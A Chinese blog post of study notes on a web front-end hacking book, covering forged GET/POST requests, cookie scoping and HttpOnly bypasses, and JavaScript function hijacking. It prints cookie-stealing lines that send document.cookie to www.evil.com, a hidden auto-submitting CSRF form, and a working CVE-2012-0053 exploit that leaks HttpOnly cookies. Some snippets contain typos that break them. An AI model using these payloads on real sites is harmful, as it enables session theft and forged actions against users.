Web前端黑客技术揭秘 笔记2

标签: web 前端 黑客 | 发表时间:2013-10-29 20:35 | 作者:wcc526
出处:http://blog.csdn.net

一.模拟用户发起浏览器请求

        1.1 GET方式,实际上就是一个URL

new Image().src="http://www.evil.com/steal.php"+escape(document.cookie)
location.href="http://www.evil.com/steal.php"+escape(document.cookie)

        1.2 POST请求

              同步发送请求

xhr=function(){
    var request=false;
    if(window.XMLHttpRequest){
        request=New XMLHttpRequest();
    }
    else if (window.ActiveXObject){
        try{
            request=new window.ActiveXObject('Microsoft.XMLHTTP');
        } catch(e){ }
    }
    return request;
}();
request=function(method,src,argv,content_type){
xhr.open(method,src,false);//同步方式
if(method=='POST') xhr.setRequestHeader('Content-Type',content_type);
xhr.send(argv);
return xhr.responseText;
}
//默认表单形式
attack_a=function(){
    var src="http://www.evil.com/steal.php";
    var argv_0="&name1=value1&name2=value2";
    request("POST",src,argv_0,"application/x-www-form-urlencoded");//默认表单形式
}

//文件上传的表单
attack_a=function(){
    var src="http://www.evil.com/steal.php";
    var name1="value1";
    var name2="value2";
    var argv_0="\r\n";//HTTP消息头的第一行是空白的
    argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"name1\"\r\n\r\n"
    argv_0+=(name1+"\r\n");
    argv_0+="---------------------7964f8dddeb95fc5\r\nContent-Disposition: form-data; name=\"name2\"\r\n\r\n"
    argv_0+=(name2+"\r\n");
    argv+="---------------------7964f8dddeb95fc5--\r\n";//最后有两个减号--,表示HTTP 消息头结束
    request("POST",src,argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

        Form表单自提交,常用于CSRF攻击中

function new_form(){
    var f=document.createElement("form");
    document.body.appendChild(f);
    f.method="post";
    return f;
}
function create_elements(eForm,eName,eValue)
{
   var e=document.createElement("input");
    eForm.appendChild(e);
    e.type='text';
    e.name=eName;
    if(!document.all){
        e.style.display='none';
    }
    else{
        e.style.display='block';
        e.style.width='0px';
        e.style.height='0px';
    }
    e.value=eValue;
    return e;
}
var _f=new_form();//创建一个form对象
create_elements(_f,"name1","value1");//创建form中的input对象
create_elements(_f,"name2","value2");
_f.action="http://www.evil.com/steal1.php";//form提交网址
_f.submit();//提交 

二.Cookie机制

2.1子域Cookie机制,不同子域可以共享父域的Cookie

2.2路径Cookie机制,可以跨iframe跨路径读Cookie

xc=function(src){
    var o=document.createElement("iframe");//iframe进入同域的目标
    o.src=src;
    ducument.getElementsByTagName("body")[0].appendChild(o);
    o.onload=function(){//iframe加载完成后
        d=o.contentDocument||o.contentWindow.document;//获取document对象
        alert(d.cookie);//获取cookie
    };
}('http://a.foo.com/admin/index.php');
<?php
setcookie("test",1,time()+3600,"","",0);//设置普通Cookie
setcookie("test_http",1,time()+3600,"","",0,1);//最后一个参数是HttpOnly标志,0为关闭,1为开启,默认0
?>

(1)php的phpinfo()信息会导致HttpOnly Cookie泄漏

(2)Django应用调试信息

(3)CVE-2012-0053 错误暴露HttpOnly Cookie

// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {//清空垃圾Cookies
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {//添加垃圾Cookies
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
 
function makeRequest() {
setCookies();
 
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
 
makeRequest();
Apache HTTP Server 2.2.x 多个版本没有严格限制HTTP 请求头信息,HTTP 请求头信息超过LimitRequestFieldSize长度时,服务器返回400,并将出错的请求头内容输出

2.3 Secure Cookie机制

document.cookie="test_secure=hijack;path=/;secure;"//path与domain必须一致,否则会被认为是不同的Cookie

三.JavaScript函数劫持

var _eval=eval;
eval=function(x){
if(typeof(x)=='undefined') {return;}
alert(x);
_eval(x);
}
var _write=document.write.bind(document);
document.write=function(x){
if(typeof(x)=='underfined'){return;}
_write(x);
};

var _write=document.write;
document.write=function(x){
if(typeof(x)=='undefined'){return;}
_write.call(document,x);
};

document.write("<script>alert(1)</script>");













作者:wcc526 发表于2013-10-29 12:35:27 原文链接
阅读:91 评论:1 查看评论

相关 [web 前端 黑客] 推荐:

Web前端黑客技术揭秘 笔记2

- - CSDN博客Web前端推荐文章
一.模拟用户发起浏览器请求.         1.1 GET方式,实际上就是一个URL.         1.2 POST请求.               同步发送请求. request("POST",src,argv_0,"application/x-www-form-urlencoded");//默认表单形式 } //文件上传的表单 attack_a=function(){.

Web前端--黑客技术揭秘(菜鸟知识)

- - CSDN博客Web前端推荐文章
1.同源策略是众多安全策略的一个,是Web层面上的策略,非常重要. 2.同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源. 3.同域要求两个站点同协议,同域名,同端口. 4.当然,在同一个域内,客户端脚本可以任意读写同源内的资源,前提是这个资源本身是可读可写的. 5.安全类似木桶原理,短的那块板决定了木桶实际能装多少水.

Web前端优化

- - JavaScript - Web前端 - ITeye博客
优点:直接使用浏览器内存的缓存数据,减少网站后台压力,用户体验(速度)好. 缺点:对于时时变化的动态页面,这种情况就不能容忍了,因为每次访问的都是第一次访问的内容,这样即使所请求的页面已经变化了,用户也不可能知道,所以此场景必须要消除这种缓存的影响. 延迟加载,将资源延迟到需要的时候的加载,例如detail页面,相关产品推荐,当用户浏览更多的信息往下拉动滚动时,才进行加载,异步加载可以大幅减少对后端资源的使用,在需要的时候加载,是资源合理使用常用的方式,但是也带来一个问题,当往下拉才去加载,如果性能不够好,用户的体验其实是不好的,“菊花”转动的时间会比较长,同时异步加载对前端性能的作用也是非常明显的,渲染的节点数量大幅减少.

Web 前端测试

- - Web前端 - ITeye博客
Web 网站测试流程和方法(转载). 进行正式测试之前,应先确定如何开展测试,不可盲目的测试. 一般网站的测试,应按以下流程来进行:. 1)使用HTML Link Validator将网站中的错误链接找出来;. 2)测试的顺序为:自顶向下、从左到右;. 3)查看页面title是否正确. (不只首页,所有页面都要查看);.

Web 前端攻防(2014版)

- - 博客 - 伯乐在线
外链会产生站外请求,因此可以被利用实施 CSRF 攻击. 目前国内有大量路由器存在 CSRF 漏洞,其中相当部分用户使用默认的管理账号. 通过外链图片,即可发起对路由器 DNS 配置的修改,这将成为国内互联网最大的安全隐患. 百度旅游在富文本过滤时,未考虑标签的 style 属性,导致允许用户自定义的 CSS.

Web前端优化最佳实践

- Jimmy - 中文热文榜|最新
还有 Jason, Bixuan, 曦, 推荐,查看全部 8 个推荐. 博评 - Sting的网经发表于2010-08-08 08:41:10. Google的前端优化最佳实践 Yahoo的前端优化最佳实践. Web前端优化最佳实践之Content篇. 尽量减少 HTTP 请求 (Make Fewer HTTP Requests).

Web前端浏览器兼容初探

- - 博客 - 伯乐在线
浏览器兼容是前端开发人员必须掌握的一个技能,但是初入前端的同学或者其他后台web开发同学往往容易选择忽略,而形成两个极端:. 1 我最开始都是使用IE6,IE6上没问题,其它浏览器坑爹(多出现与前端后端一起搞的同学,小生2年前就这种状态,鼓励人家用ie6.. 2 我要遵循标准,我只要ff就好,IE就是坑爹的玩意,我不必去理他(小生一年前的心态.

web前端性能优化进阶路

- - 阿里巴巴(中国站)用户体验设计部博客
Web前端性能优化WPO,相信大多数前端同学都不会陌生,在各自所负责的站点页面中,也都会或多或少的有过一定的技术实践. 可以说,这个领域并不缺乏成熟技术理论和技术牛人:例如Yahoo的web站点性能优化 黄金法则,以及大名鼎鼎的优化大师 Steve Souders. 本文并非一篇讨论性能优化技术方法的文章,而更多的是对中文站 搜索List页面持续两年多的前端性能优化实践的 思路总结.

web前端面试笔试题+优化

- - JavaScript - Web前端 - ITeye博客
前端是庞大的,包括HTML、CSS、Javascript、Image、Flash等等各种各样的资源. 前端优化是复杂的,针对方方面面的资源都有不同的方式. 那么,前端优化的目的是什么. 从用户角度而言,优化能够让页面加载得更快、对用户的操作响应得更及时,能够给用户提供更为友好的体验. 从服务商角度而言,优化能够减少页面请求数、或者减小请求所占带宽,能够节省可观的资源.

Web前端知识体系精简

- - IT瘾-geek
Web前端技术由html、css和javascript三大部分构成,是一个庞大而复杂的技术体系,其复杂程度不低于任何一门后端语言. 而我们在学习它的时候往往是先从某一个点切入,然后不断地接触和学习新的知识点,因此对于初学者很难理清楚整个体系的脉络结构. 本文将对Web前端知识体系进行简单的梳理,对应的每个知识点点到为止,不作详细介绍.